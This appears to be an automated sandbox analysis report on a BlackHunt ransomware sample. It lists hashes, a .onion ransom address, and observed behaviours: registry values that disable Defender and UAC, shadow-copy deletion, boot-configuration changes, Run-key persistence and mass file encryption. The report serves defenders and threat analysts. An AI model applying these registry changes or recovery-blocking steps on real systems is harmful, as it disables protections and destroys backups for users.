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Analysis
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max time kernel
127s -
max time network
138s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
19/01/2024, 00:29
Static task
static1
Behavioral task
behavioral1
Sample
aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
Resource
win10v2004-20231215-en
General
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Target
aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe
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Size
707KB
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MD5
024e09a2d3a3bfda14af1336a378c97f
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SHA1
c2018eed5cfc2098a40f274f1c465745b9688592
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SHA256
aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1
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SHA512
e72f8c0c698cd398545919a261e3f7605dd44525f3120e18417fc708993def6a243b2843b879bbde597528727685d13950fd80b2d90d3e99a8ab857b50a611f8
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SSDEEP
6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1t8ivnh:6uaTmkZJ+naie5OTamgEoKxLWwsh
Malware Config
Extracted
C:\ProgramData\#BlackHunt_ReadMe.hta
http-equiv="x-ua-compatible"
http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
Signatures
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Deletes NTFS Change Journal 2 TTPs 1 IoCs
The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.
pid Process 2604 fsutil.exe -
description ioc Process Key created \REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection reg.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 2480 bcdedit.exe 2740 bcdedit.exe -
Renames multiple (2885) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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pid Process 2832 wbadmin.exe -
Disables Task Manager via registry modification
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Disables use of System Restore points 1 TTPs
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta" reg.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\G: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened (read-only) \??\W: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened (read-only) \??\R: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened (read-only) \??\S: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\E: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened (read-only) \??\L: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened (read-only) \??\J: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened (read-only) \??\K: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened (read-only) \??\X: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened (read-only) \??\T: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened (read-only) \??\F: vssadmin.exe File opened (read-only) \??\P: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened (read-only) \??\Z: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened (read-only) \??\M: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened (read-only) \??\I: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened (read-only) \??\V: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened (read-only) \??\Q: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened (read-only) \??\Y: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened (read-only) \??\U: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened (read-only) \??\A: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened (read-only) \??\B: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened (read-only) \??\N: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened (read-only) \??\O: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened (read-only) \??\H: aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 2 ip-api.com -
Drops file in Program Files directory 64 IoCs
description ioc Process File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-api-search_zh_CN.jar aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jre7\lib\meta-index aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Colombo aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File created C:\Program Files\VideoLAN\VLC\locale\mk\LC_MESSAGES\#BlackHunt_ReadMe.txt aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Full\NavigationUp_SelectionSubpicture.png aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.ssl.feature_1.0.0.v20140827-1444\feature.xml aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\profileRegistry\JMC.profile\1423861258748.profile.gz aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx.ext_5.5.0.165303.jar aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File created C:\Program Files\VideoLAN\VLC\lua\meta\reader\#BlackHunt_ReadMe.hta aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\playlist\appletrailers.luac aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\pmd.cer aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\DVD Maker\rtstreamsink.ax aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Shatter\NavigationUp_ButtonGraphic.png aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Karachi aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Baku aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File created C:\Program Files\VideoLAN\VLC\locale\mai\#BlackHunt_Private.key aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File created C:\Program Files\VideoLAN\VLC\lua\meta\#BlackHunt_Private.key aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\can32.clx aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\#BlackHunt_Private.key aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_performance_Thumbnail.bmp aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Nicosia aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-uihandler.jar aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ecf.identity_3.4.0.v20140827-1444.jar aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\modules\dkjson.luac aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Full\1047x576black.png aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Heart_SelectionSubpicture.png aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Hermosillo aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\license.html aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File created C:\Program Files\DVD Maker\Shared\DvdStyles\Stacking\#BlackHunt_ReadMe.hta aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyrun.jar aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-charts_ja.jar aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Panama aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Indian\Maldives aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File created C:\Program Files\VideoLAN\VLC\lua\meta\reader\#BlackHunt_Private.key aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Moncton aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Rangoon aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File created C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#BlackHunt_ReadMe.hta aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Dushanbe aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-3 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\playlist.json aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\btn-back-static.png aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\etc\visualvm.clusters aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File created C:\Program Files\VideoLAN\VLC\locale\et\#BlackHunt_ReadMe.txt aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File created C:\Program Files\VideoLAN\VLC\locale\hr\LC_MESSAGES\#BlackHunt_ReadMe.txt aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.ui.nl_zh_4.4.0.v20140623020002.jar aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-lib-profiler-common_ja.jar aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File created C:\Program Files\VideoLAN\VLC\locale\ach\#BlackHunt_Private.key aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\#BlackHunt_ReadMe.txt aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\DVD Maker\Shared\DvdStyles\Travel\Passport.wmv aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.property_1.4.200.v20140214-0004.jar aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.equinox_1.0.500.v20131211-1531.jar aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\jce.jar aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\update_tracking\com-sun-tools-visualvm-application.xml aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File created C:\Program Files\Java\jre7\lib\zi\America\Argentina\#BlackHunt_ReadMe.hta aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Accessibility.api aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jface.text.nl_zh_4.4.0.v20140623020002.jar aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-heapwalker.jar aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\New_York aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\HLS.api aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\7-Zip\Lang\hi.txt aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\org.eclipse.update\#BlackHunt_Private.key aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.model.workbench_1.1.0.v20140512-1820.jar aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-host_zh_CN.jar aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2548 schtasks.exe -
Interacts with shadow copies 2 TTPs 5 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1532 vssadmin.exe 2636 vssadmin.exe 2336 vssadmin.exe 1684 vssadmin.exe 2472 vssadmin.exe -
Modifies registry class 8 IoCs
description ioc Process Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2 reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\ reg.exe Key created \REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico" reg.exe -
Suspicious use of AdjustPrivilegeToken 13 IoCs
description pid Process Token: SeDebugPrivilege 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe Token: SeRestorePrivilege 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe Token: SeBackupPrivilege 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe Token: SeTakeOwnershipPrivilege 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe Token: SeAuditPrivilege 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe Token: SeSecurityPrivilege 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe Token: SeIncBasePriorityPrivilege 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe Token: SeBackupPrivilege 1712 vssvc.exe Token: SeRestorePrivilege 1712 vssvc.exe Token: SeAuditPrivilege 1712 vssvc.exe Token: SeBackupPrivilege 2508 wbengine.exe Token: SeRestorePrivilege 2508 wbengine.exe Token: SeSecurityPrivilege 2508 wbengine.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1908 wrote to memory of 2744 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 30 PID 1908 wrote to memory of 2744 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 30 PID 1908 wrote to memory of 2744 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 30 PID 1908 wrote to memory of 2744 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 30 PID 1908 wrote to memory of 2600 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 32 PID 1908 wrote to memory of 2600 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 32 PID 1908 wrote to memory of 2600 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 32 PID 1908 wrote to memory of 2600 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 32 PID 1908 wrote to memory of 2552 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 34 PID 1908 wrote to memory of 2552 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 34 PID 1908 wrote to memory of 2552 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 34 PID 1908 wrote to memory of 2552 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 34 PID 2744 wrote to memory of 2748 2744 cmd.exe 35 PID 2744 wrote to memory of 2748 2744 cmd.exe 35 PID 2744 wrote to memory of 2748 2744 cmd.exe 35 PID 1908 wrote to memory of 2344 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 37 PID 1908 wrote to memory of 2344 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 37 PID 1908 wrote to memory of 2344 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 37 PID 1908 wrote to memory of 2344 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 37 PID 1908 wrote to memory of 2736 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 38 PID 1908 wrote to memory of 2736 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 38 PID 1908 wrote to memory of 2736 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 38 PID 1908 wrote to memory of 2736 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 38 PID 2600 wrote to memory of 2328 2600 cmd.exe 40 PID 2600 wrote to memory of 2328 2600 cmd.exe 40 PID 2600 wrote to memory of 2328 2600 cmd.exe 40 PID 2552 wrote to memory of 2620 2552 cmd.exe 41 PID 2552 wrote to memory of 2620 2552 cmd.exe 41 PID 2552 wrote to memory of 2620 2552 cmd.exe 41 PID 1908 wrote to memory of 2472 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 42 PID 1908 wrote to memory of 2472 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 42 PID 1908 wrote to memory of 2472 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 42 PID 1908 wrote to memory of 2472 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 42 PID 1908 wrote to memory of 2468 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 44 PID 1908 wrote to memory of 2468 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 44 PID 1908 wrote to memory of 2468 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 44 PID 1908 wrote to memory of 2468 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 44 PID 1908 wrote to memory of 2612 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 47 PID 1908 wrote to memory of 2612 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 47 PID 1908 wrote to memory of 2612 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 47 PID 1908 wrote to memory of 2612 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 47 PID 1908 wrote to memory of 2444 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 48 PID 1908 wrote to memory of 2444 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 48 PID 1908 wrote to memory of 2444 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 48 PID 1908 wrote to memory of 2444 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 48 PID 1908 wrote to memory of 2488 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 51 PID 1908 wrote to memory of 2488 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 51 PID 1908 wrote to memory of 2488 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 51 PID 1908 wrote to memory of 2488 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 51 PID 1908 wrote to memory of 2976 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 53 PID 1908 wrote to memory of 2976 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 53 PID 1908 wrote to memory of 2976 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 53 PID 1908 wrote to memory of 2976 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 53 PID 1908 wrote to memory of 2496 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 54 PID 1908 wrote to memory of 2496 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 54 PID 1908 wrote to memory of 2496 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 54 PID 1908 wrote to memory of 2496 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 54 PID 2736 wrote to memory of 2944 2736 cmd.exe 56 PID 2736 wrote to memory of 2944 2736 cmd.exe 56 PID 2736 wrote to memory of 2944 2736 cmd.exe 56 PID 1908 wrote to memory of 2136 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 57 PID 1908 wrote to memory of 2136 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 57 PID 1908 wrote to memory of 2136 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 57 PID 1908 wrote to memory of 2136 1908 aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe 57 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe"C:\Users\Admin\AppData\Local\Temp\aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
